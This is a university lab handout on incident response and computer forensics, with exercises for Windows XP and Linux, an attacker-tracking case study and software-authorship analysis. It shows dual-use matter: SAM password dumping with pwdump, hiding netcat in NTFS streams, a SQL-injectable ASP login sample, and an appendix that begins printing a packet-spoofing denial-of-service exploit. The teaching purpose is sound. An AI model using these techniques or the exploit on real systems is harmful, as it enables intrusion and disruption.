ECE 4112: Incident Response
Group Number: _________
Member Names: ___________________
_______________________
Date Assigned:
Date Due:
Last Revised:
Lab Authors: Han Lu, Kandha Sankarapandian
Please read the entire lab and any extra materials carefully before starting. Be sure to
start early enough so that you will have time to complete the lab. Answer ALL questions
and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE
the Date Due.
Goal: This lab presents a coherent methodology for resolving incidents – everything
from incident preparation to detailed technical response.
Summary:
This lab presents a coherent methodology for resolving incidents –
everything from incident preparation to detailed technical response. The information is
provided in the form of What can happen scenarios and Where to look for the evidence1.
We also touch upon key areas that should be included within the security policy. We
further list an exercise in the Art of tracking 2 which illustrates the difficulty in
establishing identity in cyberspace. We start by providing a theoretical background on the
computer forensic process and then move on to specific platforms and tools that can be
used for incident response in that platform. We consider incident response in a Windows
XP machine and in a Linux machine. A toolkit for Incident response is built with
freeware software available from the net. We detail steps for performing a live response
in both the platforms including but not limited to,
 Obtaining Event Logs and System Logs
 Obtaining Timestamps and checksums on all files
 Identifying rogue processes
 Obtaining System password
 Dumping System RAM
 Forensic duplication
We give special attention to investigating web attacks. We include a section on how to
trace back the IP address / E-mail to the perpetrator. We describe a scenario where
successful trace back was performed and analyze what went behind it. As an additional
1
Chris Prosise and Kevin. Incident Response: Investigating Computer Crime. Tata McGraw-Hill Pub.
2
Mark Burnet et.all. Hacking the Network: Owning the Box. Syngress Pub
1
topic of interest we introduce the subject of Software forensics: tracking the code to its
author(s)3
We also explain the requirement for Acceptable Use Policies that is crucial for the Legal
Channel of Incident Response and make a case study of a sample policy.
Equipment: Standard Lab setup of Redhat Linux Host with two virtual
machines running Windows XP and two virtual machines running Redhat Linux 7.
3
Eugene H Spafford et.all. Software Forensics: Can we Track the Code to its Authors. Purdue TR
2
Background and Theory:
Introduction
Responding to computer security incidents is generally not a simple matter.
Effective incident response requires a high level of technical knowledge, communication,
responsibility, and coordination among technical staff that must respond to these
incidents. However, the end user, who generally does not have the required skills for
effective incident response, is sometimes the first person to become aware of an incident.
Therefore, the emphasis is on providing help to the end user in both incident response and
in end-user awareness of system threats and vulnerabilities. Moreover, the program
knowledge required to assess the damage caused by a security incident and restore the
integrity of the system is generally concentrated in the system owners and administrators
who work daily with the system and its data.
The FCC defines six stages of response 4 when servicing a computer security
incident: preparation, identification, containment, eradication, recovery, and follow-up.
Knowing about each stage facilitates responding more methodically and efficiently, and
helps key staff understand the process of responding so that they can deal with
unexpected aspects of incidents they face.
1 Preparation
Preparation includes selecting, installing, and becoming familiar with tools that
will assist you in the response process and will help you collect and maintain data related
to an intrusion. You need to perform these preparation steps well in advance of an
intrusion. You need to understand and know how to use a range of tools to support your
response procedures, including
Rule number one of initial response is don’t destroy or alter the evidence. By
spending the time to collect the trusted files and burn them onto a CD-ROM, you are
much better equipped to respond quickly, professionally and successfully. Why is this
step important? Imagine starting a command shell in the victim machine. You hear the
hard disk grind longer than usual. By the time you can say, “Oh My God!” half the
contents of your system folder is deleted by the booby trapped cmd.exe program. Now
the evidence was altered by your action and you can’t make the charges stick to the
hacker.
A general rule of thumb when picking tools for incident response is to avoid using
“loud” tools that alter a lot of target system. This means no GUI (Windows users groan
here). Here is a list of tools we suggest. Most of these tools can be obtained from the web.
Others were taken from a trusted baseline machine. The first table describes tools for
initial response to Windows XP. The one following that is for the Linux platform. The
System commands in Linux are often trojaned by attackers (an approach rarely seen on
Windows). If you are responding thto root-level compromise, anticipate that all common
commands may not be functioning as intended because they have been trojaned by the
attacker. So the Linux toolkit should include statically compiled binaries for all system
commands that you wish to use.
4
http://csrc.nist.gov/fasp/FASPDocs/incident-response/Incident-Response-Guide.pdf
3
Table 1: Windows toolkit
Tool
cmd
loggedon
netstat
Description
The command prompt
A utility that shows all users connected locally and remotely
A built-in system tool that enumerates all listening ports and all current
connections to those ports
portqry
A utility that enumerates all processes that opened any TCP/IP port. This
utility can do port scans. But it is by no means a replacement for nmap
tasklist
The command line task manager that comes in handy to resolve processes that
run in the context of another service
Process
A utility that lists processes and the dynamically linked libraries and open
Explorer handles upon which each process depends
nbtstat
A built-in system tool that lists the recent NetBIOS connections
arp
A built-in system tool that shows the MAC addresses of the systems that the
target machine has been communicating with, within the last minute (Read
the fine print. Only the last minute)
tskill
A built-in system tool that can be used terminate processes
md5sum A utility that creates md5 hashes for a given file
srvcheck A Windows XP resource kit tool that displays the shares accessible.
cryptcat netcat + encryption = cryptcat
reg
Command line registry editor
srvinfo
A Windows XP resource kit tool that displays system information
showacls A Windows XP resource kit tool that displays the access control list
sfind
A utility that detect files hidden within NTFS file streams
afind
A utility that can search a file system to determine files accessed during
specific time frames
pwdump A utility that dumps the SAM database so that the passwords can be created
ntlast
Enumerates successful and failed logons to this machine
filemon
A file monitor utility for read/ writes to a given file, for e.g., the swap file.
loggedon, Process Explorer, filemon, strings: www.sysinternals.com
portqry, Windows XP Resource Kit: www.microsoft.com
md5sum: http://etree.org/cgi-bin/counter.cgi/software/md5sum.exe
sfind, afind, ntlast: www.foundstone.com
Q1.1 Name two other tools that you would add to the list.
ls
find
netstat
strings
more
script
dd
icat
pcat
truss
gzip
bash
Table 2: Linux Toolkit
des
file
lsof
md5sum
perl
ps
df
vi
last
w
modinfo
lsmod
4
pkginfo
cryptcat
strace
cat
rm
ifconfig
We have not included the description of the individual tools and we encourage the reader
to make use of the online help facility (man pages) to know more about these tools
Q1.2 Verify if the Linux tools provided have valid checksums.
2 Identification
Identification of an Incident includes, Initial response, a stage of preliminary
information gathering to determine whether or not unlawful, unauthorized or
unacceptable activity occurred.
We begin with steps to be followed in suspect Windows System.
 Run trusted commands on Windows System
 Send output to forensics box via cryptcat
 md5sum output files and perform offline review.
For this experiment we will need two Windows Machines. We will use the Windows XP
Virtual machine as our trusted forensic box and the Windows XP copy machine as the
system under investigation. At the forensic box, run a netcat listener
C:\IR>nc –l –p 7777 > tasklist.txt
On the victim box, the output of your commands can be redirected as follows
E:\Response Toolkit\Windows\>tasklist | nc 57.35.6.x 7777
We need to get the volatile data from the Windows system prior to turning off the system.
Here is a list of some of the volatile data:
 System date and time
 A list of currently running processes
 A list of currently open sockets
 The applications listening on open sockets
 A list of the users who are currently logged on
 A list of the systems that have current or had recent connections to the system
Many of the steps taken during the initial response can be incorporated into a single batch
script. We have included a sample script that can be used under the Windows toolkit.
initial.bat:time /t
date /t
loggedon
netstat –an
portqry
tasklist
nbststat –c
time /t
date /t
5
Q 2.1.1 Run the batch file in the victim machine and capture the output in the
forensic box. What commands did you use to do the same?
Q 2.1.2 Prepare a text file containing the checksum and filename combination for
each output file you get during this entire lab and attach a printout of the same with
your answer sheet.
Q 2.1.3 In Windows XP, a number of processes runs under the context of a system
service like svchost. What change will you make to the batch file to get the actual
process running behind the system service
Once we have got the initial response we can go ahead and use GUI based tools for
detailed evidence gathering. Event logs are a valuable source of evidence. But they need
to be configured properly to log all events. For instance it is a good practice to log both
successful logins as well as unsuccessful attempts. Event logs on the local computer can
be viewed by simply opening the Event Viewer in Control Panel -> Administrative tools
-> Event Viewer. To view the event log in a remote computer, you can establish a
NETBIOS connection as follows
C:\IR>net use \\57.35.6.x\ipc$ * /user:Administrator
Type the password for \\57.35.6.x\ipc$:
The command completed successfully.
The next place to look for evidence is in the Registry. There are different ways to go
about this. Use the regedit.exe to export the registry keys of interest. reg.exe is the
command line version of the same tool. Here is an example of using the command line
version to view the recent documents list.
reg query “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs”
reg query “HKCU\Software\Microsoft\Office\10.0\PowerPoint\RecentFileList”
Q 2.1.4 Write down the command for exporting the startup programs in the victim
machine
Ans: reg query “HKLM\Sfotware\Microsoft\Windows/CurrentVersion\Run”
reg query “HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce”
reg query “HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices”
reg query “HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce”
We can also use tools to collect registry based user and system information. One such
tool is srvinfo.exe that we had included in the response tool kit.
Q 2.1.5 Export the Victim machine’s srvinfo output and note down the information
that is interesting from a security perspective
The next step is to obtain the System passwords. For this we use the pwdump tool to
dump the passwords from the Security Access Manager (SAM) database. These
passwords may be cracked on a forensic workstation using John the Ripper, L0phtcrack
or any other Windows password cracking tool.
6
Q 2.1.6 Export the password list from the victim box to the forensic box and attach a
printout of the same.
An easier alternative to cracking the password is to use a tool like chntpw
(http://home.eunet.no/~pnordahl/ntpasswd/) to change the password. The caveat here is
that you are altering the evidence and the reason for doing it has to be properly
documented. Also this only works offline which means you will have to reboot the
machine to change the password.
The next target for evidence collection should be the Recycle Bin. Even the Elite make
mistakes and these mistakes end up in Recycle bin or more likely in the temp folders. So
it would be a good idea to review these folders and make copies of any files present in
them from the victim box to the forensic box. A special case in this is the swap file, a
hidden system file that is used for virtual memory. In Windows XP it is named
pagefile.sys. Since there are no tools available to view the swap file online, we need to
make an offline analysis. Most of the contents in the swap file is in binary and is of not
much value to the investigator. Hence it makes more sense to just search for Strings
within it using the strings.exe program.
Q 2.1.7 Suggest a way to make a copy of the swap file for later analysis
An easy way to hide the evidence is by making use of NTFS streams. NTFS streams
enable you to store multiple instances of file data under on file entry. Windows Explorer
does not indicate the presence of additional streams. Here is a way to hide netcat within
an image file.
copy nc.exe logo.jpg:nc.exe
[Use any two files of your choice]
Now do a directory listing and you will see that there is no change in the file size. To find
the hidden streams we make use of the sfind command from our response tool kit.
sfind [path of
previous step]
the
file
you
created
with
alternate
stream
in
the
.To Check for Remote control and remote access services on the victim box, we make use
of the net start command
Q 2.1.8 Export the Remote Access Services list from the Victim box to the forensic
box
In addition to the steps mentioned above, we give the following set of freeware tools that
can provide further information for the forensic investigation.
Forensic Acquisition Utility
This tool can be downloaded from http://users.erols.com/gmgarner/forensics/.
7
The tools we will use can be found under the Forensic Acquisition\bin\UnicodeRelease
directory in the Windows tool kit. The utility of particular interest for us is the dd.exe. dd
is a powerful command in the Linux world and can used to read and write any part of the
memory from boot sectors to entire partitions. Windows deemed it unnecessary to give
such power to the user. There are a number of freeware ports for the windows system.
This particular port of dd provides the feature of on the fly md5 checksum generation for
the data that it copies. The same feature is also included in the included netcat program. It
is left to the User’s discretion to choose either the secure cryptcat or this version of md
aware netcat. The dd command can be used to make a forensic duplication of the entire
disk using the following command
dd.exe if=\\.\PhysicalDrive0 of=c:\images\PhysicalDrive0.img
--verifymd5 --md5out=c:\images\PhysicalDrive0.img.md5
--md5sum
We suggest you defer from running this command on the lab environment as you would
run out of disk space. In a real world forensic duplication you should make a copy of the
entire disk and conduct your investigation on the forensic box. But for this lab, we will
work under a lenient scenario where we are allowed to run command directly on the
victim box. To demonstrate the power of this utility we will make a dump f the physical
memory (RAM) to the hard disk. Run this command on the victim machine
dd.exe if=\\.\PhysicalMemory of=c:\PhysicalMemory.img bs=4096 --md5sum
--verifymd5 --md5out=c:\PhysicalMemory.img.md5
Export this file to the forensic box using the nc tool with the checksum option.
On the forensic box run the listener.
nc –v –n –l –p 7777 –csum md5 --verify –sparse –O PhysicalMemory.img
On the Victim box send the file using the following command
nc –v –n –csum md5 –I \\.\C:\PhysicalMemory.img 57.35.6.x 7777
In this process we have transferred the Physical memory contents of the victim machine
to the Forensic box and also verified its md5 checksum. This dump is again in the binary
format and to make sense of it we use the strings command to look up any useful text
information.
strings PhysicalMemory.img
The physical memory dump can be used as evidence of running processes in the victim
machine.
Q 2.1.9 Note down a few strings that you identified in your analysis of the physical
memory.
Another set of tools that ease the job of forensic analysis is the PStools collection that can
be downloaded from www.sysinternals.com. It provides the following tools.
8
 PsExec - execute processes remotely
 PsFile - shows files opened remotely
 PsGetSid - display the SID of a computer or a user
 PsKill - kill processes by name or process ID
 PsInfo - list information about a system
 PsList - list detailed information about processes
 PsLoggedOn - see who's logged on locally and via resource sharing (full source is
included)
 PsLogList - dump event log records
 PsPasswd - changes account passwords
 PsService - view and control services
 PsShutdown - shuts down and optionally reboots a computer
 PsSuspend - suspends processes
We suggest the user to run these commands one by one to get a feel of what they do.
Typing a command followed by "-?" displays information on the syntax for the command
Here are a few questions that you can use to exercise your skill with this tool.
Q 2.1.10 Use PsExec to get the ipconfig output from the victim machine and attach
the output
Q 2.1.11 Obtain a list of open files on the remote machine and try to close any one of
them
Q 2.1.12 List the users Logged on in the victim machine using psloggedon.
This concludes the Windows section of our incident response.
9
Linux Incident Response
The initial response to prospective incidents on Linux system is similar to the
initial response for incidents on Windows machine. However you need to make note of
the fact that Linux lets you delete the executable files even if the process is currently
running. This makes the memory dump all the more important in the Linux system. In
fact when you delete a file in Linux we are actually unlinking the file. Linux tracks a
file’s link count, which is a positive integer representing the number of processes
currently using the file. When the link count equals zero, that means no process is using
or needs the file, so it will be deleted. Shutting down the system would delete all the
unlinked files. Another pit fall in Linux is that we have to be careful about the relative
and absolute paths. Otherwise we will end up running compromised programs in place of
our trusted binaries. To compound this further different versions of *nix will require the
binaries to be compiled with the native systems libraries. It cannot be done on the victim
machine for obvious reasons. One way to over come this is to use statically linked
binaries that can be obtained from the web for different flavors of *nix. Like it was
mentioned before, for ease of use, we will run commands directly on the victim machine.
We will use two copies of Redhat Linux, one as the victim box and the other as the
forensic box. We will be using the same netcat channel to transfer our observations fromt
eh victim box to the forensic box.
The first step is to switch to a virtual console by pressing ALT-F2. Then we take a
leap of faith and use the mount command to mount the media containing the Response
tool kit.
#mount /mnt/cdrom
Q 2.2.1 In the above step we use a binary from the victim machine. How can this be
avoided or what precautions can you take against walking into a booby trap?
We start a trusted command shell (bash) from the Response tool kit directory. A good
practice is to rename your tools, say by appending‘t’ to the file names, so that we do not
inadvertently run a un trusted binary. Next we determine who is logged on in the system
by issuing the what command
#./w
Then we determine the list of processes running on the victim machine.
#./ps –aux
Linux is not for the faint hearted. It has many more processes running that on Windows
XP machines making it easier for attackers to hide rogue processes. In a buffer overflow
scenario the output of ps can be something like this.
#./ps –aux
root 1621 0.0
1.2
1164 780
-0
root 1670 0.0
0.9
1120 624
?
9\377777777761\3777777\377777767
10
S
S
10:20 0:00
13:58 0:00
bash
The process with pid 1670 has a weird name because of the buffer overflow that is taking
place. An investigator should be lucky to see such an obvious attack. In most cases, the
attacker will install a Loadable Kernel Module (LKM). Since the investigator relies on
user land tools, the attacker can subvert the kernel to return wrong information to the
commands like ps. One suck LKM in the knark tool that can hide any process you
specify by sending the kill -31 signal. To view the list of LKM use the command
#./lsmod
But recent LKM subvert even the lsmod command and hence it makes sense to have a
root kit detection kit like kstat in your response tool kit. But we are concerned with
evidence gathering at this stage.
On Linux, the netstat command has a –p option that maps the name of the application and
its process ID to open ports. Run this command from the response toolkit in the victim
machine.
#./netstat –anp
lsof is a simple tool that can be used fro a number of purposes. It lists all running
processes and the file descriptors they have open.
#./lsof –i –D r
The –D r option is to not create temporary files on the victim machine. The Output of lsof
can be very useful for live analysis. Say if you are investigating an ICMP ping flood
attack, you would be interested in processes that have opened ICMP sockets. The lsof
output can also be used to detect key loggers as it will show the key logger process
writing into an unknown file.
We can detect the presence of a sniffer by identifying if the network card is operating in
the promiscuous mode. This can be done with the ifconfig command
#./ifconfig –i eth0
The /proc file system is the book keeper for Linux. It is the interface between the kernel
and user space. Every process has a directory named with the process pid under the /proc
file system. To demonstrate this follow these steps. Make a backup copy of the shell to
the /root directory then run the shell again
#./bash
[1] 1620
#ls -al /proc/1620
.
.
lrwx------ 1
root
/root/tbash
.
.
#trm tbash
root
0
Nov
11
30
20:20 exe
->
#./ls -al /proc/1620
.
.
lrwx------ 1
root
/root/tbash (deleted)
.
root
0
Nov
30
20:20 exe
->
To recover the deleted file you just need to run a copy command.
#./cp exe /root/tbash_recovered
Q 2.2.2 How will you determine all such deleted files in the /proc directory
To perform a live response to a Linux system, the steps to be followed are as follows.
Record date/time of all files.
./ls –alRu | tnc 57.35.6.x 7777
./ls –alRc | tnc 57.35.6.x 7777
./ls –alR | tnc 57.35.6.x 7777
The next step is to obtain the System logs. The most common logs are in binary form and
are viewed using a program. For instance the utmp file is viewed with the w program, the
wtmp file is accessed with last utility. Here is a way to obtain the /var/log/messages from
a target Linux system.
./dd if=/var/log/messages | des –e –c –k password | nc 57.35.6.x 7777
On the forensic box, run the following
./nc –l –p 7777 | des –d –c –k password | dd of=messages
md5sum messages
This is just a demonstration of the pipe operator. We have copied the messages using dd,
encrypted it with the DES algorithm and sent it using netcat to the listener process where
the reverse is done.
Q 2.2.3 Does the checksum of the log messages tally in the victim machine and the
forensic machine?
There may be many more log files such as TCP Wrapper logs or specific application logs.
Q 2.2.4 Review the /etc/syslog.conf file and note any additional log files here.
The next step is to obtain important configuration files for future review and analysis.
Here is a list of config files and their default locations. Copy these files from the victim
box to the forensic box and attach a printout of the md5sum output of all the files with
your report
/etc/passwd
/etc/shadow
12
/etc/groups
/etc/hosts
/etc/hosts.equiv
~/.rhosts
/etc/hosts.allow and /etc/hosts.deny
/etc/syslog.conf
/etc/rc
crontab files
/etc/inetd.conf
There is no pretty way to dump the system RAM on Linux machines. Instead we copy the
/proc/kmem and /proc/kcore file from the target system. This file contains the contents of
system RAM in a noncontiguous arrangement. It is mostly used for string searches unless
you happen to be Tank.
Q 2.2.5 Conduct a string search on the core dump and note a few lines of interest
from it.
The most common attack against a *nix system is the privilege escalation attack. They
are started from SUID and SGID programs. We need to identify all such programs and
analyze the output to check if there exists any odd program such as a shell in the /tmp
directory.
./find / -perm -004000 –type f –print
./find / -perm -006000 –type f -print
FTimes
For the next exercise we use the FTimes forensic tool which can be downloaded
from http://ftimes.sourceforge.net/FTimes/. FTimes is a system baselining and evidence
collection tool. The primary purpose of FTimes is to gather and/or develop information
about specified directories and files in a manner conducive to intrusion analysis. FTimes
is a lightweight tool in the sense that it doesn't need to be "installed" on a given system to
work on that system, it is small enough to fit on a single floppy, and it provides only a
command line interface.
Preserving records of all activity that occurs during a snapshot is important for
intrusion analysis and evidence admissibility. For this reason, FTimes was designed to
log four types of information: configuration settings, progress indicators, metrics, and
errors. Output produced by FTimes is delimited text, and therefore, is easily assimilated
by a wide variety of existing tools.
Here are the steps you need to follow.
FTimes requires the PCRE package (http://www.pcre.org/). Install PCRE as follows,
#tar zxvf pcre-6.3.tar.gz
#cd pcre-6.3
#./configure
#make
#make install
13
For demonstration, we use the tree.tgz file. Copy this file to your home directory and
unpack it
#tar zxvf tree.tgz
Copy the FTimes install file to your home directory and unpack it.
#tar zxvf ftimes-3.5.0.gz
#cd ftimes-3.5.0
#configure
#make
#make install
Set FTimes in your path by giving this command
#PATH=$PATH:/usr/local/ftimes/bin
Take a snapshot of the resulting directory using mapauto mode and a FieldMask of
"ALL-magic". This will be your baseline. An example command-line is given here:
#ftimes --mapauto all-magic -l 0 tree > baseline
Make the following changes to the tree:
 Modify the contents of file-1, file-2, and file-3 -- any change will be sufficient.
 Delete dir-5 and everything below it.
 Add an additional file called "extra" to dir-2.
Now map the tree again using the same FieldMask. This will be your snapshot.
#ftimes --mapauto all-magic -l 0 tree > snapshot
Compare the two maps using compare mode and a FieldMask of "NONE+md5". An
example command-line is given here:
#ftimes --compare none+md5 baseline snapshot -l 6
Q 2.2.6 Do the reported changes, if any, match your expectations? If no, explain.
Now compare the two maps again using a FieldMask of "ALL".
Q 2.2.7 Do the reported changes, if any, match your expectations? How is this
different from the previous result?
14
3. The Art of Tracking – Case Study
You are sitting in front of the office computer, after grabbing a cold drink. You have
been looking at a log file for a while. You are stressed out as you can’t find anything
interesting from the file. Your mind wanders. You are out of luck and until yesterday you
were out of job. Then you received this mail from the CEO you met at the friend’s party.
He wanted you to investigate a recent security break-in case.
Here is the extract of the IIS log file:
2002-12-15
2002-12-15
2002-12-15
2002-12-15
2002-12-15
12:39:22
12:39:22
12:40:03
12:40:09
12:48:27
96.105.12.18 GET /login.asp - 200
96.105.12.18 GET /images/go.jpg - 200
96.105.12.18 POST /checklogin.asp - 302
96.105.12.18 GET /menu.asp - 200
24.1.5.62 GET /checklogin.asp - 200
(Last part of the line gives the HTTP result code. 302 means request is redirect, 200 is
request handled successfully)
Since this is not going anywhere, you start looking into the source code. You begin with
checklogin.asp as it was most frequently accessed.
<%
Set objConn = CreateObject(“ADODB.Connection”)
objConn.Open Application(“WebUsersConnection”)
sSQL=”SELECT * FROM Users where Username=’” & Request(“user”) & _
“’ and Password=’” & Request(“pwd”) & “’”
Set RS = objConn.Execute(sSQL)
If RS.EOF then
Response.Redirect(“login.asp?msg=Invalid Login”)
Else
Session.Authorized=True
Set RS = nothing
Set objConn = nothing
Response.Redirect(“menu.asp”)
End If
%>
You note that the code has two exit points at line 7 and line 12, both if which are redirects
(Code 302).
Q 3.1 The code shows that the page will return only a 302 result code. So what can
you infer from the log file?
Q 3.2 What category of vulnerability did you see in this piece of code? (Hint: look at
line 3)
Q 3.3 How can you fix this vulnerability?
15
Now you have seen the vulnerability of the code, and you have the possible point of entry
for the attacker.
Next, you look at the DNS cache
C:\>ipconfig /displaydns
It shows the following 3 IP addresses:
207.46.134.222
200.199.201.200
207.46.249.61
Q 3.4 Which IP address look suspicious and why? (Hint: WHOIS is your friend)
So you have got possible geographic location. You remember a popular IRC chat room
from the region. You fire up your IRC client and login to that room to try your skill at
Social Engineering. You cannot find anything from there. You look at the clock and its
time to get some shut eye.
The next day, you see this email when you come to the office.
From : daddo <daddo@yahoo.com>
Sent : Tuesday, November 8, 2005 11:48 AM
To : henry <henry@hotmail.com>
Subject : sup dood
MIME-Version: 1.0
Received: from web31813.mail.mud.yahoo.com ([68.142.207.76]) by mc7f34.hotmail.com with Microsoft SMTPSVC(6.0.3790.211); Mon, 7 Nov 2005
22:18:11 -0800
Received: (qmail 43505 invoked by uid 60001); 8 Nov 2005 06:18:10 -0000
Received: from [69.163.146.6 | 200.144.12.6] by
web31813.mail.mud.yahoo.com via HTTP; Mon, 07 Nov 2005 22:18:10 PST
X-Message-Info: JGTYoYF78jEHjJx36Oi8+Z3TmmkSEdPtfpLB7P/ybN8=
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com;
h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIMEVersion:Content-Type:Content-Transfer-Encoding;
b=rl0B5gP3XJ6pwy8cTOVBcHyLeMb94YuP9g2gsbYpmqR9al5QyVm1rv39HajMyU4f4SID/
OAdc66lGYH2iK2HgpAKGgg9VjsbJKGN0GhK5Ykpg+pkKKhryIYzT9DbmyORkjk6acorp0Am
FLCqSGU9Ww8LArvK8ntL8FQg3vWf2jc= ;
X-OriginalArrivalTime: 08 Nov 2005 06:18:11.0903 (UTC)
FILETIME=[32085CF0:01C5E42C]
I see you are trying to find me. Good luck. *See* you around
-dadd0
Something stinks. Whoever the hacker was, he had just traced you,
Q 3.5 How did this guy know your email address and that you were looking for him
(Hint: Remember how you got this job) There are at least three possible ways to do
this.
16
Q 3.6 What steps will you take to kick the hacker out of the loop.
Now this is getting personal. The hacker had just upped the ante. You notice the IIS
access logs show a variety of IP addresses. This indicates the hacker is bouncing his
traffic over multiple proxies. However he had negligent this time.
Q 3.7 Can you figure out the real IP address of the hacker. If so How and what is it?
(Hint: Do you like MIME)
Finally you got the IP address. Now it’s time to show him who his daddy is. You write up
a final report, gather all your evidence, and send the report on to the FBI.
Few days later, the FBI has a person matched up against this IP address. He works for a
security company, a white hat by day and a black hat by night – what a weenie.
If this exercise whetted your appetite you will find more Security related puzzles in sites
such as http://www.hackthissite.org/ and http://www.hackquest.de/ etc.
17
4. Software Forensics – track code to its authors
In the following, we detail some of the futures of code remnants that might be analyzed
and then used to identify their authors.

Languages The most immediate feature of the code is the programming
language chosen by the author. The reason behind choice is due to the availability
and knowledge of a programmer.

Variable names This is another aspect of programming that often indicates
something about the authors. Most experienced programmers have a set of
“utility” variable names they use when coding. Some programmers prefer to
connect words in identifiers with an underscore (for example, to_check), others
prefer capitalize the first letter of each word without separator (for example,
toCheck).

Spelling and Grammar Misspelled variable names and words inside
comments may be quite telling if the misspelling is consistent.
 Comment Styles Programmers often tend to have a distinctive style of
commenting. The frequency and detail of the comments present may also be
distinctive. Some prefer to comment with short tags, and others prefer to write
whole paragraphs.

Bugs Some authors consistently make the same logic mistakes in their coding.
Often there faults that only rarely cause problems because these bugs seldom
cause programs that users tend to continue to introduce them into their code.
Q 4.1 Based on all those factors, try to identify which two pieces of code belongs to
the same author. (See Appendix A for the code) And list some reasons of your
conclusion.
18
Conclusion
The outcome of Incident Response is heavily dependant on the System/Network
policy in place. For responding to intrusions, one of the policy’s primary purposes is to
document the threats you intend to guard against and the actions you intend to take in
response to a successful attack. Response procedures describe how the response policies
will be implemented throughout your organization, e.g., who to notify, at what point in
the response procedure, and with what types of information. From these procedures, all
concerned parties are able to determine what operational steps they need to take to
comply with your policies and, thereby, respond in a manner that upholds the security
objectives for your organization’s information and networked systems.
 Priority and sequence of actions
 Authority to act
 Intrusion response resources
 Conduct a legal review of your policies and procedures.
19
Web Links







http://www.first.org/resources/guides/reference.html
http://csrc.nist.gov/fasp/FASPDocs/incident-response/Incident-Response-Guide.pdf
http://www.infosec.csusb.edu/TitleV/ppt/Creating-an-Incident-Response-Team.ppt
http://download.microsoft.com/download/3/2/b/32bd06be-6c31-4017-a440e1dfbac99c27/IncidentResponsePresentation.ppt
http://www.cert.org/archive/pdf/csirt-handbook.pdf
http://www.guidancesoftware.com/corporate/downloads/whitepapers/IRBestPractices
.pdf
http://www.redhat.com/docs/manuals/linux/RHL-9-Manual/security-guide/chresponse.html
20
Answer Sheet
Group Number: _______________
Member Names: _________________________
_________________________
Section 1:
Q1.1 Name two other tools that you would add to the list.
Q1.2 Verify if the Linux tools provided have valid checksums.
Section 2:
Q 2.1.1 Run the batch file in the victim machine and capture the output in the
forensic box. What commands did you use to do the same?
21
Q 2.1.2 Prepare a text file containing the checksum and filename combination for
each output file you get during this entire lab and attach a printout of the same with
your answer sheet.
Q 2.1.3 In Windows XP, a number of processes runs under the context of a system
service like svchost. What change will you make to the batch file to get the actual
process running behind the system service
Q 2.1.4 Write down the command for exporting the startup programs in the victim
machine
22
Q 2.1.5 Export the Victim machine’s srvinfo output and note down the information
that is interesting from a security perspective
Q 2.1.6 Export the password list from the victim box to the forensic box and attach a
printout of the same.
Q 2.1.7 Suggest a way to make a copy of the swap file for later analysis
Q 2.1.8 Export the Remote Access Services list from the Victim box to the forensic
box
23
Q 2.1.9 Note down a few strings that you identified in your analysis of the physical
memory.
Q 2.1.10 Use PsExec to get the ipconfig output from the victim machine and attach
the output
Q 2.1.11 Obtain a list of open files on the remote machine and try to close any one of
them
24
Q 2.1.12 List the users Logged on in the victim machine using psloggedon.
Q 2.2.1 In the above step we use a binary from the victim machine. How can this be
avoided or what precautions can you take against walking into a booby trap?
Q 2.2.2 How will you determine all such deleted files in the /proc directory
Q 2.2.3 Does the checksum of the log messages tally in the victim machine and the
forensic machine?
25
Q 2.2.4 Review the /etc/syslog.conf file and note any additional log files here.
Q 2.2.5 Conduct a string search on the core dump and note a few lines of interest
from it.
Q 2.2.6 Do the reported changes, if any, match your expectations? If no, explain.
Q 2.2.7 Do the reported changes, if any, match your expectations? How is this
different from the previous result?
26
Section 3:
Q 3.1 The code shows that the page will return only a 302 result code. So what can
you infer from the log file?
Q 3.2 What category of vulnerability did you see in this piece of code? (Hint: look at
line 3)
Q 3.3 How can you fix this vulnerability?
Q 3.4 Which IP address look suspicious and why? (Hint: WHOIS is your friend)
27
Q 3.5 How did this guy know your email address and that you were looking for him
(Hint: Remember how you got this job) There are at least three possible ways to do
this.
Q 3.6 What steps will you take to kick the hacker out of the loop.
Q 3.7 Can you figure out the real IP address of the hacker. If so How and what is it?
(Hint: Do you like MIME)
28
Section 4:
Q 4.1 Based on all those factors, try to identify which two pieces of code belongs to
the same author. (See Appendix A for the code) And list some reasons of your
conclusion.
29
How long did it take you to complete this lab? Was it an appropriate
length lab?
What corrections and or improvements do you suggest for this lab? You may cross
out and edit the text of the lab on previous pages to make corrections. What
corrections and or improvements do you suggest for this lab? Please be very specific
and if you add new material give the exact wording and instructions you would give
to future students in the new lab handout. You need to be very specific and provide
details. You need to actually do the suggested additions in the lab and provide
solutions to your suggested additions. Caution as usual: only extract and use the
tools you downloaded in the safe and approved environment of the network security
laboratory.
Turn-in Checklist

Answer Sheet
30
Appendix A
FLUSHOT.C (Author: Maniac)
(http://packetstormsecurity.org/exploits/DoS/flushot.c)
/* Lags CPU Made By DarkShadow from The flu Hacking Group
Kills Win95-98 machines
http://www.angelfire.com/ar/WarzonE/flu.html
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
void banner(void) {
printf("Remote Flushot v 1.0\n\n");
printf("\n\n");
}
void usage(const char *progname) {
printf(" usage:\n");
printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to
Send]\n",progname);
printf(" [Spoofed IP] : ex: 205.56.78.0\n");
printf(" [Destination IP] : ex: 201.12.3.76\n");
printf(" [# of FLushot to Send] : 100\n");
printf("The Flu Hacking Group (c)\n");
printf("DarkShadow PlimoMan Hack The Planet\n");
}
int resolve( const char *name, unsigned int port, struct sockaddr_in
*addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
